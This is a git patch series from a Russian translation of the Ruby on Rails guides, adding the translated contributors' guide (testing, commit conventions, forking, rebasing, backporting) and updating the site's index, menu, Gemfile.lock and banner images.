Обновляйте документацию, примеры и руководства: все, что было затронуто вашим вкладом. + +TIP: Изменения, которые по природе косметические, и не добавляют ничего ощутимого в стаблильность, функциональность или тестируемость Rails, обычно не принимаются (читайте подробнее об [обоснованиях этого решения](https://github.com/rails/rails/pull/13771#issuecomment-32746700)). + +#### Следуйте соглашениям по программированию + +Rails следует простому набору соглашений о стиле кода: + +* Два пробела, нет табуляции (для отступов). +* Нет конечных пробелов. Пустые строчки не должны иметь пробелов. +* Отступ после private/protected. +* Используйте синтаксис Ruby >= 1.9 для хэшей. Предпочитайте `{ a: :b }` над `{ :a => :b }`. +* Предпочитайте `&&`/`||` над `and`/`or`. +* Предпочитайте `class << self` над `self.method` для методов класса. +* Используйте `my_method(my_arg)`, а не `my_method( my_arg )` или `my_method my_arg`. +* Используйте `a = b`, а не `a=b`. +* Используйте методы `assert_not` вместо отрицаний. +* Предпочитайте `method { do_stuff }` вместо `method{do_stuff}` для однострочных блоко. +* Следуйте соглашениям в исходном коде, которые вы уже видели. + +Вышеприведенное является руководящими указаниями — используйте собственные суждения при их использовании. + +### Тестируйте производительность своего кода + +Если ваше изменение влияет на производительность Rails, используйте гем [benchmark-ips](https://github.com/evanphx/benchmark-ips), чтобы представить результаты тестирования производительности для сравнения. + +Вот результат использования benchmark-ips: + +```ruby +require 'benchmark/ips' + +Benchmark.ips do |x| + x.report('addition') { 1 + 2 } + x.report('addition with send') { 1.send(:+, 2) } +end +``` + +Это сгененрирует отчет со следующей информацией: + +``` +Calculating ------------------------------------- + addition 132.013k i/100ms + addition with send 125.413k i/100ms +------------------------------------------------- + addition 9.677M (± 1.7%) i/s - 48.449M + addition with send 6.794M (± 1.1%) i/s - 33.987M +``` + +Подробнее смотрите в benchmark/ips [README](https://github.com/evanphx/benchmark-ips/blob/master/README.md). + +### Запуск тестов + +В Rails не является необходимым запускать полный тестовый набор перед отправкой изменений. В частности, тестовый набор railties занимает много времени, и даже еще больше, если исходный код монтирован в `/vagrant`, как происходит в рекомендованном рабочем процессе с помощью [rails-dev-box](https://github.com/rails/rails-dev-box). + +В качестве компромисса, тестируйте то, на что ваш код явно влияет, и, если изменение не в railties, запускайте полный тестовый набор затронутого компонента. Если все тесты проходят, этого достаточно, чтобы предложить ваш вклад. У нас есть [Travis CI](https://travis-ci.org/rails/rails) в качестве безопасной сети для отлова неожиданных поломок где-то еще. + +#### Весь Rails: + +Чтобы запустить все тесты, выполните: + +```bash +$ cd rails +$ bundle exec rake test +``` + +#### Для определенного компонента + +Можно запустить тесты только дял определенного компонента (такого как Action Pack). Например, чтобы запустить тесты Action Mailer: + +```bash +$ cd actionmailer +$ bundle exec rake test +``` + +#### Запуск отдельного теста + +С помощью ruby можно запустить отдельный тест. К примеру: + +```bash +$ cd actionmailer +$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout +``` + +Опция `-n` позволяет запустить отдельный метод вместо всего файла. + +#### Тестирование Active Record + +Сначала создайте необходимые вам базы данных. Для MySQL и PostgreSQL необходим запуск выражений SQL `create database activerecord_unittest` и `create database activerecord_unittest2`. Для SQLite3 это необязательно. + +Вот как можно запустить тестовый набор Active Record только для SQLite3: + +```bash +$ cd activerecord +$ bundle exec rake test:sqlite3 +``` + +Теперь вы можете запускать тесты, как вы делали для `sqlite3`. Соответствующие задачи + +```bash +test:mysql +test:mysql2 +test:postgresql +``` + +Наконец, + +```bash +$ bundle exec rake test +``` + +запустит все четыре по очереди. + +Также можно запустить любой одиночный тест отдельно: + +```bash +$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb +``` + +Чтобы запустить одиночный тест на всех адаптерах, используйте: + +```bash +$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb +``` + +Также можно вызвать `test_jdbcmysql`, `test_jdbcsqlite3` или `test_jdbcpostgresql`. Информацию по запуску нацеленных на базу данных тестов смотрите в файле `activerecord/RUNNING_UNIT_TESTS.rdoc`, а по запуску тестового набора на сервере CI в файле `ci/travis.rb`. + +### Предупреждения + +Тестовый набор запускается с включенными предупреждениями. В идеале, Ruby on Rails не должен выдавать предупреждения, но их может быть несколько, в том числе от сторонних библиотек. Пожалуйста, игнорируйте (или почините!) их, если имеются, и отправляйте изменения, не имеющих новых предупреждений. + +Если вы знаете, что делаете, и хотите получить более чистый вывод, есть возможность переопределить флажок: + +```bash +$ RUBYOPT=-W0 bundle exec rake test +``` + +### Обновление CHANGELOG + +CHANGELOG — это важная часть каждого релиза. Он содержит список изменений для каждой версии Rails. + +Вам следует добавить запись **в самый верх** CHANGELOG того фреймворка, который вы изменили, если вы добавили или убрали особенность, исправили ошибку или добавили предупреждения об устаревании. Рефакторинг и изменения документации обычно не идут в CHANGELOG. + +Запись в CHANGELOG должна кратко описывать то, что было изменено, и заканчиваться именем автора. Можно использовать несколько строчек, если необходимо место, а также можно прикрепить примеры кода с отступом в 4 пробела. Если изменение относится к определенной проблеме, следует прикрепить номер проблемы. Вот пример записи в CHANGELOG: + +``` +* Summary of a change that briefly describes what was changed. You can use multiple + lines and wrap them at around 80 characters. Code examples are ok, too, if needed: + + class Foo + def bar + puts 'baz' + end + end + + You can continue after the code example and you can attach issue number. GH#1234 + + *Your Name* +``` + +Ваше имя может быть добавлено непосредственно после последнего слова, если вы не предоставляете примеры кода и не нуждаетесь в нескольких параграфах. В противном случае, лучше добавить его как новый параграф. + +### Обновление Gemfile.lock + +Некоторые изменения требуют обновления зависимостей. В таких случаях убедитесь, что вы запустили `bundle update`, чтобы получить правильную версию зависимости и закомитьте файл `Gemfile.lock` со своими изменениями. + +### Проверка разумности + +Вы не должны быть единственным, кто смотрит на код до того, как отправить его. Если вы знаете кого-то еще, использующего Rails, попробуйте попросить их посмотреть на вашу работу. Если вы не знаете кого-то, использующего Rails, попробуйте войти в комнату IRC или опубликовать свою идею в рассылке rails-core. Сделав это приватно до того, как вы отправите изменения публично, является "smoke test" для патча: если вы не сможете убедить другого разработчика в красоте своего кода, вы вряд ли убедите в этом члена основной команды. + +### Коммит ваших изменений + +Когда вы довольны своим кодом на своем компьютере, необходимо закоммитить изменения в Git: + +```bash +$ git commit -a +``` + +В этом месте должен запуститься ваш редактор, и вы сможете написать сообщение для этого коммита. Хорошо отформатированное и содержательное сообщение коммита чрезвычайно полезно для остальных, особенно при выяснении, зачем было сделано изменение, поэтому найдите время написать его. + +Хорошее сообщение коммита должно быть отформатировано в соответствии со следующим примером: + +``` +Short summary (ideally 50 characters or less) + +More detailed description, if necessary. It should be wrapped to 72 +characters. Try to be as descriptive as you can, even if you think that +the commit content is obvious, it may not be obvious to others. You +should add such description also if it's already present in bug tracker, +it should not be necessary to visit a webpage to check the history. + +Description can have multiple paragraphs and you can use code examples +inside, just indent it with 4 spaces: + + class ArticlesController + def index + render json: Article.limit(10) + end + end + +You can also add bullet points: + +- you can use dashes or asterisks + +- also, try to indent next line of a point for readability, if it's too + long to fit in 72 characters +``` + +TIP. Пожалуйста, сквошьте свои коммиты в один коммит, когда это уместно. Это упрощает будущие черри-пики, а также поддерживает чистоту лога. + +### Обновление вашей ветки + +Очень вероятно, что были сделаны другие изменения в master, пока вы работали. Получите их: + +```bash +$ git checkout master +$ git pull --rebase +``` + +Теперь можно применить ваш патч на последних изменениях: + +```bash +$ git checkout my_new_branch +$ git rebase master +``` + +Нет конфликтов? Тесты все еще проходят? Изменения еще актуальны? Продолжайте. + +### Форк + +Перейдите в репозиторий Rails [на GitHub](https://github.com/rails/rails) и нажмите "Fork" в верхнем правом углу. + +Добавьте новый удаленный репозиторий к вашему локальному: + +```bash +$ git remote add mine git@github.com:/rails.git +``` + +Отправляйте в свой удаленный репозиторий: + +```bash +$ git push mine my_new_branch +``` + +Возможно, у вас есть клонированный форк-репозиторий, и вы хотите добавить удаленным оригинальный репозиторий Rails, в этом случае вот что вам нужно сделать. + +В директории, в которую вы клонировали свой форк: + +```bash +$ git remote add rails git://github.com/rails/rails.git +``` + +Скачать новые комиты и бранчи из официального репозитория: + +```bash +$ git fetch rails +``` + +Смержить новое содержимое: + +```bash +$ git checkout master +$ git rebase rails/master +``` + +Обновить ваш форк: + +```bash +$ git push origin master +``` + +Если хотите обновить другую ветку: + +```bash +$ git checkout branch_name +$ git rebase rails/branch_name +$ git push origin branch_name +``` + +### Создание пул-реквеста + +Перейдите в репозиторий Rails, в который вы только что отправили код (т.е. https://github.com/your-user-name/rails) и нажмите на "Pull Requests" в правой панели. На следующей странице нажмите "New pull request" в вержнем правом углу. + +Нажмите на "Edit", если необходимо изменить сравниваемые ветки (по умолчанию он сравнивает "master") и нажмите "Click to create a pull request for this +comparison". + +Убедитесь, что включены изменения, которые вы представили. Заполните некоторыми подробностями о вашем потенциальном патче, включая осмысленный заголовок. Когда закончите, нажмите "Send pull request". Основная команда Rails будет уведомлена о вашем изменении. + +### Получение обратной связи + +Большая часть пул-реквестов пройдут через ряд итераций до того, как они будут влиты. У разных контрибуторов иногда разные мнения, и часто изменения нуждаются в пересмотре до того, как их можно влить. + +У некоторых контрибуторов в Rails включены уведомления по email с GitHub, у некоторых нет. Более того, (почти) все, кто работает над Rails, являются добровольцами, поэтому может пройти несколько дней до того, как вы получите первую обратную связь на пул-реквест. Не отчаивайтесь! Иногда это быстро, иногда это медленно. Такова жизнь открытого ПО. + +Если прошло больше недели, и вам никто не ответил, можете попытаться немного ускорить процесс. Для этого используйте [рассылку rubyonrails-core](http://groups.google.com/group/rubyonrails-core/). Также можно оставить комментарий в своем пул-реквесте. + +ПОка вы ждете обратную связь на свой пул-реквест, откройте несколько чужих пул-реквестов и дайте обратную связь кому-то еще! Мы уверены, они будут признательны за это не меньше, чем вы были бы признательны за обратную связь на ваши изменения. + +### Повторение по необходимости + +Очень вероятно, что полученная обратная связь предложит изменения. Не отчаивайтесь: весь смысл вклада в активный проект с открытым кодом заключается в том, чтобы использовать знания сообщества. Если люди призывают подправить ваш код, то стоит внести правки и отправить заново. Если обратная связь говорит, что ваш код не нужен в ядре, вы можете подумать о выпуске его в качестве гема. + +#### Сквошинг комитов + +Одной из вещей, которая может быть попрошена, является "squash your commits", которая объединит все ваши комиты в один. Мы предпочитаем пул-реквесты с одним комитом. Это упрощает обратное портирование в стабильные ветки, откат плохих комитов, слежение за историей git. Rails — это большой проект, и ряд множество посторонних комитов может добавить много шума. + +Чтобы сделать это, необходимо иметь git remote, указывающий на главный репозиторий Rails. Это в любом случае полезно, но если у вас он не настроен, сначала сделайте: + +```bash +$ git remote add upstream https://github.com/rails/rails.git +``` + +Этот удаленный сервер можно назвать как угодно, но если вы не используете `upstream`, измените имя на свое в нижеследующей инструкции. + +Предположим, что ваша ветка называется `my_pull_request`, тогда нужно сделать следующее: + +```bash +$ git fetch upstream +$ git checkout my_pull_request +$ git rebase upstream/master +$ git rebase -i + +< Выберите 'squash' для всех ваших комитов, кроме первого. > +< Отредактируйте сообщение комита, чтобы оно было осмысленным, и опишите все свои изменения. > + +$ git push origin my_pull_request -f +``` + +Далее вам необходимо обновить пул-реквест на GitHub и посмотреть, что он был изменен. + +#### Обновление пул-реквеста + +Иногда вас попросят внести некоторые изменения в код, который уже был закомичен. Это может включать исправление существующих комитов. В этом случае Git не позволит отправить изменения, так как удаленная и локальная ветки не соответствуют друг другу. Вместо открытия нового пул-реквеста, можно принудить отправку в вашу ветку на GitHub, как описано ранее в разделе про сквош коммитов: + +```bash +$ git push origin my_pull_request -f +``` + +Это позволит обновить ветку и пул-реквест на GitHub вашим новым кодом. Отметьте, что использование принудительной отправки может привести к потере комитов на удаленной ветке; используйте ее осторожно. + +### Старшие версии Ruby on Rails + +Если вы хотите добавить исправление в старшие версии Ruby on Rails, необходимо настроить и переключить свою локальную отслеживаемую ветку. Вот пример, как переключиться на ветку 4-0-stable: + +```bash +$ git branch --track 4-0-stable origin/4-0-stable +$ git checkout 4-0-stable +``` + +TIP: Возможно, вы захотите [выводить имя ветки Git в строке ввода консоли](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) чтобы было проще вспомнить, над какой версией кода вы работаете. + +#### Обратное портирование + +Изменения, влитые в master, предназначены для следующего большого релиза Rails. Иногда полезно, чтобы ваши изменения попали в поддерживаемые релизы для старших стабильных веток. Как правило, хорошими кандидатами для обратного портирования являются исправления безопасности и ошибок, в то время как новые особенности и исправления, представляющие изменения в поведении, не принимаются. Когда сомневаетеся, лучше всего проконсультироваться с членом основной команды Rails до обратного портирования ваших изменений, чтобы избежать потерь времени. + +Для простых изменений, легчайшим способом портировать ваши изменения является [извлечь diff ваших изменений в master и применить его в целевой ветке](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git). + +Сначала убедитесь, что только ваши изменения составляют разницу между вашей текущей веткой и master: + +```bash +$ git log master..HEAD +``` + +Затем извлеките diff: + +```bash +$ git format-patch master --stdout > ~/my_changes.patch +``` + +Переключитесь в целевую ветку и примените ваши изменения: + +```bash +$ git checkout -b my_backport_branch 3-2-stable +$ git apply ~/my_changes.patch +``` + +Это хорошо работает для простых изменений. Однако, если изменения сложные, или если код в master сильно отличается от целевой ветки, это потребует большей работы с вашей стороны. Сложность портирования отличается от случая к случаю, и даже иногда не стоит усилий. + +Как только вы разрешили все конфликты и убедились, что проходят все тесты, отправьте свои изменения и откройте отдельный пул-реквест для своего порта. Также важно отметить, что старшие ветки могут иметь другой список целевых версий, чем в master. По возможности, лучше до от отправки пул-реквеста протестировать порт локально на версиях Ruby, перечисленных в `.travis.yml`. + +А затем... подумайте о следующем вкладе! + +Авторы Rails +------------ + +Все внесшие вклад или в master, или в docrails, восхваляются в [Rails Contributors](http://contributors.rubyonrails.org). diff --git a/source/index.md b/source/index.md index 3720f8b1..126bcdd0 100644 --- a/source/index.md +++ b/source/index.md @@ -66,6 +66,10 @@ Ruby on Rails — это веб-фреймворк с открытым кодо - [Rails on Rack](/rails-on-rack) := Это руководство раскрывает интеграцию Rails и Rack, и взаимодействие с другими компонентами Rack - [Создание и настройка генераторов Rails](/generators) := Это руководство раскрывает процесс добавления совершенно нового генератора для вашего расширения или представления альтернативного элемента для встроенного в Rails генератора (такого как представление альтернативных тестовых заглушек для генератора скаффолда). +## Вносим вклад в Ruby on Rails + +- [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) := Rails — это не 'чей-то там фреймворк'. Это руководство раскрывает многообразие способов, которыми вы можете быть вовлечены в продолжающуюся разработку Rails. + ## Заметки о релизах - [Руководство по обновлению Ruby on Rails](/upgrading-ruby-on-rails) := Это руководство поможет обновить приложения на последние версии Ruby on Rails. diff --git a/source/index.yml b/source/index.yml index 3e35284c..deb296ca 100644 --- a/source/index.yml +++ b/source/index.yml @@ -200,6 +200,12 @@ pages: revision: c758093eca303704f52b45fd0660e13600b9b315 date: 16/12/2013 + - title: Вносим вклад в Ruby on Rails + path: contributing_to_ruby_on_rails + file: contributing_to_ruby_on_rails.md + revision: 2e1d69ea97fb0123cf883bd0964b8be6d4906458 + date: 11/04/2015 + - title: Руководство по обновлению Ruby on Rails path: upgrading-ruby-on-rails file: upgrading_ruby_on_rails.md @@ -249,12 +255,14 @@ images: plan: - file: active_record_postgresql.md - file: api_documentation_guidelines.md - - file: contributing_to_ruby_on_rails.md + todo: 1 - file: development_dependencies_install.md + todo: 3 - file: maintenance_policy.md - file: profiling.md - file: rails_application_templates.md - file: ruby_on_rails_guides_guidelines.md + todo: 2 old: - file: 2_2_release_notes.md diff --git a/source/menu.md b/source/menu.md index 7db4b2d9..b8a3e33d 100644 --- a/source/menu.md +++ b/source/menu.md @@ -30,13 +30,13 @@ * [Rails Internationalization API](/rails-internationalization-i18n-api) * [Основы Action Mailer](/action-mailer-basics) * [Основы Active Job](/active_job_basics) + * [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) + * [Безопасность приложений на Rails](/ruby-on-rails-security-guide) next_column * **Копаем глубже** - * [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications) - * [Безопасность приложений на Rails](/ruby-on-rails-security-guide) * [Отладка приложений на Rails](/debugging-rails-applications) * [Конфигурирование приложений на Rails](/configuring-rails-applications) * [Руководство по командной строке Rails и задачам Rake](/a-guide-to-the-rails-command-line) @@ -53,6 +53,10 @@ next_column * [Rails on Rack](/rails-on-rack) * [Создание и настройка генераторов Rails](/generators) +* **Вносим вклад в Ruby on Rails** + + * [Вносим вклад в Ruby on Rails](/contributing_to_ruby_on_rails) + * **Заметки о релизах** * [Руководство по обновлению Ruby on Rails](/upgrading-ruby-on-rails) From 165bc24c9452f941dfab24ddabe5b3483e6b8b9b Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 21 Jun 2015 22:43:43 +0300 Subject: [PATCH 047/932] add api_app.md to plan --- source/index.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/source/index.yml b/source/index.yml index deb296ca..1816caef 100644 --- a/source/index.yml +++ b/source/index.yml @@ -254,6 +254,7 @@ images: plan: - file: active_record_postgresql.md + - file: api_app.md - file: api_documentation_guidelines.md todo: 1 - file: development_dependencies_install.md From b6cc2db8bce72bca25e5c4a3f1dd4046e1a6a292 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Mon, 29 Jun 2015 15:54:35 +0300 Subject: [PATCH 048/932] railsclub banner --- Gemfile.lock | 2 +- app/assets/images/railsclub.png | Bin 0 -> 8312 bytes app/assets/images/railsclub/0.png | Bin 7937 -> 0 bytes app/assets/images/railsclub/1.png | Bin 7790 -> 0 bytes app/assets/images/railsclub/2.png | Bin 6451 -> 0 bytes app/assets/images/railsclub/3.png | Bin 6270 -> 0 bytes app/assets/images/vexor.png | Bin 11166 -> 0 bytes app/views/static_docs/pages/show.html.haml | 4 +++- 8 files changed, 4 insertions(+), 2 deletions(-) create mode 100644 app/assets/images/railsclub.png delete mode 100644 app/assets/images/railsclub/0.png delete mode 100644 app/assets/images/railsclub/1.png delete mode 100644 app/assets/images/railsclub/2.png delete mode 100644 app/assets/images/railsclub/3.png delete mode 100644 app/assets/images/vexor.png diff --git a/Gemfile.lock b/Gemfile.lock index cf2cd455..a18ca902 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -69,7 +69,7 @@ GEM jquery-rails (3.1.1) railties (>= 3.0, < 5.0) thor (>= 0.14, < 2.0) - json (1.8.1) + json (1.8.3) kgio (2.9.2) less (2.4.0) commonjs (~> 0.2.7) diff --git a/app/assets/images/railsclub.png b/app/assets/images/railsclub.png new file mode 100644 index 0000000000000000000000000000000000000000..89b39c96b76c1df1430ab8c397a2e57201a5e45c GIT binary patch literal 8312 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 